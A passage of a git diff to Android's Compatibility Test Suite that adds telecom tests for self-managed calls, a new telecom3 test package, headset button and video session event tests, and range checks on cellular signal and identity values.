+                    try {
+                        final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
+                        final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
+                        if (remainingTimeMillis <= 0) {
+                            if (message != null) {
+                                TestCase.fail(message);
+                            } else {
+                                TestCase.fail(String.format("Expected %s to be called %d times.",
+                                        mName, count));
+                            }
+                        }
+                        mLock.wait(timeoutMillis);
+                    } catch (InterruptedException ie) {
+                        /* ignore */
+                    }
+                }
+            }
+        }
+
+        /**
+         * Waits for a predicate to return {@code true} within the specified timeout.  Uses the
+         * {@link #mLock} for this {@link InvokeCounter} to eliminate the need to perform busy-wait.
+         * @param predicate The predicate.
+         * @param timeoutMillis The timeout.
+         */
+        public void waitForPredicate(Predicate predicate, long timeoutMillis) {
+            synchronized (mLock) {
+                mInvokeArgs.clear();
+                long startTimeMillis = SystemClock.uptimeMillis();
+                long elapsedTimeMillis = 0;
+                long remainingTimeMillis = timeoutMillis;
+                Object foundValue = null;
+                boolean wasFound = false;
+                do {
+                    try {
+                        mLock.wait(timeoutMillis);
+                        foundValue = (mInvokeArgs.get(mInvokeArgs.size()-1))[0];
+                        wasFound = predicate.test(foundValue);
+                        elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
+                        remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
+                    } catch (InterruptedException ie) {
+                        /* ignore */
+                    }
+                } while (!wasFound && remainingTimeMillis > 0);
+                if (wasFound) {
+                    return;
+                } else if (remainingTimeMillis <= 0) {
+                    TestCase.fail("Expected value not found within time limit");
+                }
+            }
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
index 9f79628..7f2b27b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
@@ -444,6 +444,16 @@
                                 Connection.VideoProvider.SESSION_EVENT_RX_RESUME);
                     }
                 });
+
+        assertCallSessionEventReceived(inCallService.getVideoCallCallback(call),
+                VideoProvider.SESSION_EVENT_CAMERA_PERMISSION_ERROR,
+                new Work() {
+                    @Override
+                    public void doWork() {
+                        connection.sendMockCallSessionEvent(
+                                Connection.VideoProvider.SESSION_EVENT_CAMERA_PERMISSION_ERROR);
+                    }
+                });
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/WiredHeadsetTest.java b/tests/tests/telecom/src/android/telecom/cts/WiredHeadsetTest.java
index e7130ba..f4eee35 100644
--- a/tests/tests/telecom/src/android/telecom/cts/WiredHeadsetTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/WiredHeadsetTest.java
@@ -69,7 +69,7 @@
         assertConnectionState(connection, Connection.STATE_DISCONNECTED);
     }
 
-    public void testInCallShortPress_togglesMute() throws Exception {
+    public void testInCallLongPress_togglesMute() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
@@ -83,15 +83,15 @@
         // Before the audio state is changed for the first time, the connection might not
         // know about its audio state yet.
         assertMuteState(incallService, false);
-        sendMediaButtonShortPress();
+        sendMediaButtonLongPress();
         assertMuteState(connection, true);
         assertMuteState(incallService, true);
-        sendMediaButtonShortPress();
+        sendMediaButtonLongPress();
         assertMuteState(connection, false);
         assertMuteState(incallService, false);
     }
 
-    public void testInCallLongPress_hangupCall() throws Exception {
+    public void testInCallShortPress_hangupCall() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
@@ -105,7 +105,7 @@
         connection.setActive();
         assertCallState(call, Call.STATE_ACTIVE);
 
-        sendMediaButtonLongPress();
+        sendMediaButtonShortPress();
         assertCallState(call, Call.STATE_DISCONNECTED);
         assertConnectionState(connection, Connection.STATE_DISCONNECTED);
     }
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index c16a9dd..18f5d77 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -24,9 +24,11 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 src_dirs := src \
+    ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
+    ../telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java \
     ../telecom/src/android/telecom/cts/TestUtils.java
 
 res_dirs := res \
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
new file mode 100644
index 0000000..4b4a896
--- /dev/null
+++ b/tests/tests/telecom3/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsTelecomTestCases3
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+src_dirs := src \
+    ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
+    ../telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java \
+    ../telecom/src/android/telecom/cts/TestUtils.java
+
+res_dirs := ../telecom/res
+
+LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs))
+
+LOCAL_RESOURCE_DIR := $(addprefix $(LOCAL_PATH)/, $(res_dirs))
+
+LOCAL_AAPT_FLAGS := \
+    --auto-add-overlay \
+    --extra-packages android.telecom.cts \
+    --rename-manifest-package android.telecom3.cts \
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom3/AndroidManifest.xml b/tests/tests/telecom3/AndroidManifest.xml
new file mode 100644
index 0000000..8207fb7
--- /dev/null
+++ b/tests/tests/telecom3/AndroidManifest.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telecom3.cts">
+    <uses-sdk android:minSdkVersion="25" />
+    <uses-permission android:name="android.permission.CALL_PHONE" />>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
+            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService" />
+            </intent-filter>
+        </service>
+
+        <service android:name="android.telecom.cts.SelfManagedAwareInCallService"
+            android:permission="android.permission.BIND_INCALL_SERVICE" >
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS" android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS" android:value="true" />
+        </service>
+
+         <activity android:name="android.telecom.cts.MockDialerActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:mimeType="vnd.android.cursor.item/phone" />
+                <data android:mimeType="vnd.android.cursor.item/person" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="voicemail" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="tel" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telecom3.cts"
+                     android:label="CTS tests for android.telecom package">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
new file mode 100644
index 0000000..7576d62
--- /dev/null
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for Telecom3 Tests">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelecomTestCases3.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telecom3.cts" />
+        <option name="runtime-hint" value="6m42s" />
+    </test>
+</configuration>
diff --git a/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallService.java b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallService.java
new file mode 100644
index 0000000..81a731f
--- /dev/null
+++ b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallService.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.Intent;
+import android.telecom.Call;
+import android.telecom.InCallService;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * InCallService implementation which declares in its manifest that it wants to be informed of
+ * self-maanged connections.
+ */
+public class SelfManagedAwareInCallService extends InCallService {
+
+    public static class CallCallback extends Call.Callback {
+        public static int INVALID_STATE = -1;
+
+        private CountDownLatch mStateChangeLatch = new CountDownLatch(1);
+        private CountDownLatch mDetailsChangeLatch = new CountDownLatch(1);
+        private int mNewState;
+
+        @Override
+        public void onStateChanged(Call call, int state) {
+            mNewState = state;
+            mStateChangeLatch.countDown();
+        }
+
+        @Override
+        public void onDetailsChanged(Call call, Call.Details details) {
+            mDetailsChangeLatch.countDown();
+        }
+
+        @Override
+        public void onCallDestroyed(Call call) {
+
+        }
+
+        public int waitOnStateChanged() {
+            mStateChangeLatch = TestUtils.waitForLock(mStateChangeLatch);
+            if (mStateChangeLatch != null) {
+                return mNewState;
+            } else {
+                mStateChangeLatch = new CountDownLatch(1);
+                return INVALID_STATE;
+            }
+        }
+    }
+
+    private static final String LOG_TAG="SelfMgAwareICS";
+    private static CountDownLatch sServiceBoundLatch = new CountDownLatch(1);
+    private static CountDownLatch sServiceUnBoundLatch = new CountDownLatch(1);
+    private static SelfManagedAwareInCallService sInCallService;
+
+    private List<Call> mCalls = new ArrayList<Call>();
+    private Map<Call, CallCallback> mCallCallbacks = new ArrayMap<>();
+    private CountDownLatch mCallAddedLatch = new CountDownLatch(1);
+
+    public SelfManagedAwareInCallService() throws Exception {
+        super();
+        sInCallService = this;
+    }
+
+    @Override
+    public android.os.IBinder onBind(android.content.Intent intent) {
+        Log.i(LOG_TAG, "Service bound");
+
+        sServiceBoundLatch.countDown();
+        sServiceUnBoundLatch = new CountDownLatch(1);
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sServiceBoundLatch = new CountDownLatch(1);
+        sServiceUnBoundLatch.countDown();
+        return super.onUnbind(intent);
+    }
+
+    public void tearDown() {
+        sServiceBoundLatch = new CountDownLatch(1);
+    }
+
+    @Override
+    public void onCallAdded(Call call) {
+        super.onCallAdded(call);
+        if (!mCalls.contains(call)) {
+            mCalls.add(call);
+            CallCallback callback = new CallCallback();
+            call.registerCallback(callback);
+            mCallCallbacks.put(call, callback);
+            mCallAddedLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onCallRemoved(Call call) {
+        super.onCallRemoved(call);
+        call.unregisterCallback(mCallCallbacks.get(call));
+        mCallCallbacks.remove(call);
+        mCalls.remove(call);
+    }
+
+    public static SelfManagedAwareInCallService getInCallService() {
+        return sInCallService;
+    }
+
+    public Call waitForCallAdded() {
+        mCallAddedLatch = TestUtils.waitForLock(mCallAddedLatch);
+        if (mCallAddedLatch != null) {
+            return mCalls.get(mCalls.size() - 1);
+        } else {
+            return null;
+        }
+    }
+
+    public static boolean waitForBinding() {
+        sServiceBoundLatch = TestUtils.waitForLock(sServiceBoundLatch);
+        return sServiceBoundLatch != null;
+    }
+
+    public static boolean waitForUnBinding() {
+        sServiceUnBoundLatch = TestUtils.waitForLock(sServiceUnBoundLatch);
+        return sServiceUnBoundLatch != null;
+    }
+
+    public CallCallback getCallCallback(Call call) {
+        return mCallCallbacks.get(call);
+    }
+}
diff --git a/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java
new file mode 100644
index 0000000..aa683a2
--- /dev/null
+++ b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.graphics.Color;
+import android.net.Uri;
+import android.telecom.Call;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_ID_1;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_LABEL;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_COMPONENT;
+
+/**
+ * Tests that an {@link android.telecom.InCallService} which has declared support for
+ * self-managed {@link android.telecom.Call}s is able to receive those calls.
+ */
+public class SelfManagedAwareInCallServiceTest extends InstrumentationTestCase {
+    private Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+    private Uri TEST_ADDRESS_2 = Uri.fromParts("sip", "call2@test.com", null);
+    private static String PACKAGE = "android.telecom3.cts";
+
+    private TelecomManager mTelecomManager;
+    private boolean mShouldTestTelecom = true;
+    private String mPreviousDefaultDialer;
+
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_HANDLE =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
+                    SELF_MANAGED_ACCOUNT_ID_1);
+
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT = PhoneAccount.builder(
+            TEST_SELF_MANAGED_HANDLE, SELF_MANAGED_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                    PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING)
+            .setHighlightColor(Color.BLUE)
+            .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Context context = getInstrumentation().getContext();
+        mTelecomManager = (TelecomManager) context.getSystemService(Context.TELECOM_SERVICE);
+
+        mShouldTestTelecom = TestUtils.shouldTestTelecom(context);
+        if (mShouldTestTelecom) {
+            mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+            TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
+
+            mTelecomManager.registerPhoneAccount(TEST_SELF_MANAGED_PHONE_ACCOUNT);
+
+            TestUtils.waitOnAllHandlers(getInstrumentation());
+        }
+
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        if (mShouldTestTelecom) {
+            if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+                TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+            }
+
+            mTelecomManager.unregisterPhoneAccount(TEST_SELF_MANAGED_HANDLE);
+
+            CtsSelfManagedConnectionService connectionService =
+                    CtsSelfManagedConnectionService.getConnectionService();
+            if (connectionService != null) {
+                connectionService.tearDown();
+            }
+
+            SelfManagedAwareInCallService inCallService =
+                    SelfManagedAwareInCallService.getInCallService();
+            if (inCallService != null) {
+                inCallService.tearDown();
+
+                SelfManagedAwareInCallService.waitForUnBinding();
+            }
+        }
+    }
+
+    /**
+     * Verifies that a {@link android.telecom.InCallService} which has specified
+     * {@link TelecomManager#METADATA_INCLUDE_SELF_MANAGED_CALLS} will receive self-managed calls.
+     */
+    public void testInCallServiceOutgoing() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager, TEST_SELF_MANAGED_HANDLE,
+                TEST_ADDRESS_1);
+        assertTrue(SelfManagedAwareInCallService.waitForBinding());
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        assertNotNull(connection);
+
+        Call call = SelfManagedAwareInCallService.getInCallService().waitForCallAdded();
+        assertNotNull(call);
+        assertTrue(call.getDetails().hasProperty(Call.Details.PROPERTY_SELF_MANAGED));
+        assertEquals(TEST_ADDRESS_1, call.getDetails().getHandle());
+
+        // Now, disconnect call and clean it up.
+        connection.disconnectAndDestroy();
+    }
+
+    /**
+     * Verifies that a {@link android.telecom.InCallService} which has specified
+     * {@link TelecomManager#METADATA_INCLUDE_SELF_MANAGED_CALLS} will receive self-managed calls.
+     */
+    public void testInCallServiceIncoming() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager, TEST_SELF_MANAGED_HANDLE,
+                TEST_ADDRESS_1);
+        assertTrue(SelfManagedAwareInCallService.waitForBinding());
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        assertNotNull(connection);
+
+        Call call = SelfManagedAwareInCallService.getInCallService().waitForCallAdded();
+        assertNotNull(call);
+        assertTrue(call.getDetails().hasProperty(Call.Details.PROPERTY_SELF_MANAGED));
+        assertEquals(TEST_ADDRESS_1, call.getDetails().getHandle());
+
+        // Now, disconnect call and clean it up.
+        connection.disconnectAndDestroy();
+    }
+
+    /**
+     * Verifies basic end to end call signalling for self-managed connctions.
+     */
+    public void testSelfManagedSignalling() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager, TEST_SELF_MANAGED_HANDLE,
+                TEST_ADDRESS_1);
+        assertTrue(SelfManagedAwareInCallService.waitForBinding());
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        assertNotNull(connection);
+
+        Call call = SelfManagedAwareInCallService.getInCallService().waitForCallAdded();
+        assertNotNull(call);
+        assertTrue(call.getDetails().hasProperty(Call.Details.PROPERTY_SELF_MANAGED));
+        assertEquals(TEST_ADDRESS_1, call.getDetails().getHandle());
+
+        SelfManagedAwareInCallService.CallCallback callbacks =
+                SelfManagedAwareInCallService.getInCallService().getCallCallback(call);
+        assertNotNull(callbacks);
+
+        // Call will first be dialing.
+        assertEquals(Call.STATE_DIALING, callbacks.waitOnStateChanged());
+
+        // Set active from the connection side.
+        connection.setActive();
+        assertEquals(Call.STATE_ACTIVE, callbacks.waitOnStateChanged());
+
+        // Request hold from the call side.
+        call.hold();
+        assertTrue(connection.waitOnHold());
+
+        // Set held from the connection side.
+        connection.setOnHold();
+        assertEquals(Call.STATE_HOLDING, callbacks.waitOnStateChanged());
+
+        // Now, disconnect call and clean it up.
+        connection.disconnectAndDestroy();
+    }
+}
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index d8f152e..6f81691 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
index 2a198b6..a1423af 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
@@ -19,6 +19,7 @@
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.telephony.CellInfo;
+import android.telephony.CellInfoCdma;
 import android.telephony.CellInfoGsm;
 import android.telephony.CellInfoLte;
 import android.telephony.CellInfoWcdma;
@@ -43,6 +44,18 @@
     // Maximum and minimum possible RSSI values(in dbm).
     private static final int MAX_RSSI = -10;
     private static final int MIN_RSSI = -150;
+    // Maximum and minimum possible RSSP values(in dbm).
+    private static final int MAX_RSRP = -44;
+    private static final int MIN_RSRP = -140;
+    // Maximum and minimum possible RSSQ values.
+    private static final int MAX_RSRQ = -3;
+    private static final int MIN_RSRQ = -35;
+    // Maximum and minimum possible RSSNR values.
+    private static final int MAX_RSSNR = 50;
+    private static final int MIN_RSSNR = 0;
+    // Maximum and minimum possible CQI values.
+    private static final int MAX_CQI = 30;
+    private static final int MIN_CQI = 0;
     private PackageManager mPm;
 
     @Override
@@ -84,6 +97,8 @@
                 verifyWcdmaInfo((CellInfoWcdma) cellInfo);
             } else if (cellInfo instanceof CellInfoGsm) {
                 verifyGsmInfo((CellInfoGsm) cellInfo);
+            } else if (cellInfo instanceof CellInfoCdma) {
+                verifyCdmaInfo((CellInfoCdma) cellInfo);
             }
         }
 
@@ -94,6 +109,11 @@
                 numRegisteredCells > 0 && numRegisteredCells <= 2);
     }
 
+    private void verifyCdmaInfo(CellInfoCdma cdma) {
+        int level = cdma.getCellSignalStrength().getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
+    }
+
     // Verify lte cell information is within correct range.
     private void verifyLteInfo(CellInfoLte lte) {
         verifyRssiDbm(lte.getCellSignalStrength().getDbm());
@@ -101,16 +121,32 @@
         // Only physical cell id is available for LTE neighbor.
         int pci = lte.getCellIdentity().getPci();
         // Physical cell id should be within [0, 503].
-        assertTrue("getPci() out of range [0, 503]", pci >= 0 && pci <= 503);
+        assertTrue("getPci() out of range [0, 503], pci=" + pci, pci >= 0 && pci <= 503);
 
         int earfcn = lte.getCellIdentity().getEarfcn();
         // Reference 3GPP 36.101 Table 5.7.3-1
-        assertTrue("getEarfcn() out of range [0,47000]", earfcn >= 0 && earfcn <= 47000);
-
-        int ta = ((CellSignalStrengthLte)lte.getCellSignalStrength()).getTimingAdvance();
+        assertTrue("getEarfcn() out of range [0,47000], earfcn=" + earfcn,
+            earfcn >= 0 && earfcn <= 47000);
+        CellSignalStrengthLte cellSignalStrengthLte = lte.getCellSignalStrength();
         //Integer.MAX_VALUE indicates an unavailable field
-        assertTrue("getTimingAdvance() invalid [0-1282] | Integer.MAX_VALUE",
+        int rsrp = cellSignalStrengthLte.getRsrp();
+        // RSRP is being treated as RSSI in LTE (they are similar but not quite right)
+        // so reusing the constants here.
+        assertTrue("getRsrp() out of range, rsrp=" + rsrp, rsrp >= MIN_RSRP && rsrp <= MAX_RSRP);
+        int rsrq = cellSignalStrengthLte.getRsrq();
+        assertTrue("getRsrq() out of range | Integer.MAX_VALUE, rsrq=" + rsrq,
+            rsrq == Integer.MAX_VALUE || (rsrq >= MIN_RSRQ && rsrq <= MAX_RSRQ));
+        int rssnr = cellSignalStrengthLte.getRssnr();
+        assertTrue("getRssnr() out of range | Integer.MAX_VALUE, rssnr=" + rssnr,
+            rssnr == Integer.MAX_VALUE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
+        int cqi = cellSignalStrengthLte.getCqi();
+        assertTrue("getCqi() out of range | Integer.MAX_VALUE, cqi=" + cqi,
+            cqi == Integer.MAX_VALUE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
+        int ta = cellSignalStrengthLte.getTimingAdvance();
+        assertTrue("getTimingAdvance() invalid [0-1282] | Integer.MAX_VALUE, ta=" + ta,
                 ta == Integer.MAX_VALUE || (ta >= 0 && ta <=1282));
+        int level = cellSignalStrengthLte.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
     }
 
     // Verify wcdma cell information is within correct range.
@@ -119,11 +155,15 @@
         // Verify wcdma primary scrambling code information.
         // Primary scrambling code should be within [0, 511].
         int psc = wcdma.getCellIdentity().getPsc();
-        assertTrue("getPsc() out of range [0, 511]", psc >= 0 && psc <= 511);
+        assertTrue("getPsc() out of range [0, 511], psc=" + psc, psc >= 0 && psc <= 511);
 
         int uarfcn = wcdma.getCellIdentity().getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
-        assertTrue("getUarfcn() out of range [400,11000]", uarfcn >= 400 && uarfcn <= 11000);
+        assertTrue("getUarfcn() out of range [400,11000], uarfcn=" + uarfcn,
+            uarfcn >= 400 && uarfcn <= 11000);
+
+        int level = wcdma.getCellSignalStrength().getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
     }
 
     // Verify gsm cell information is within correct range.
@@ -132,21 +172,32 @@
         // Verify gsm local area code and cellid.
         // Local area code and cellid should be with [0, 65535].
         int lac = gsm.getCellIdentity().getLac();
-        assertTrue("getLac() out of range [0, 65535]", lac >= 0 && lac <= 65535);
+        assertTrue("getLac() out of range [0, 65535], lac=" + lac, !gsm.isRegistered() ||
+            lac >= 0 && lac <= 65535);
         int cid = gsm.getCellIdentity().getCid();
-        assertTrue("getCid() out range [0, 65535]", cid >= 0 && cid <= 65535);
+        assertTrue("getCid() out range [0, 65535], cid=" + cid, !gsm.isRegistered() ||
+            cid >= 0 && cid <= 65535);
 
         int arfcn = gsm.getCellIdentity().getArfcn();
         // Reference 3GPP 45.005 Table 2-2
-        assertTrue("getArfcn() out of range [0,1024]", arfcn >= 0 && arfcn <= 1024);
+        assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
+            arfcn >= 0 && arfcn <= 1024);
+
+        int level = gsm.getCellSignalStrength().getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
 
         int bsic = gsm.getCellIdentity().getBsic();
-        assertTrue("getBsic() out of range [0,63]", bsic >=0 && bsic <=63);
+        // TODO(b/32774471) - Bsic should always be valid
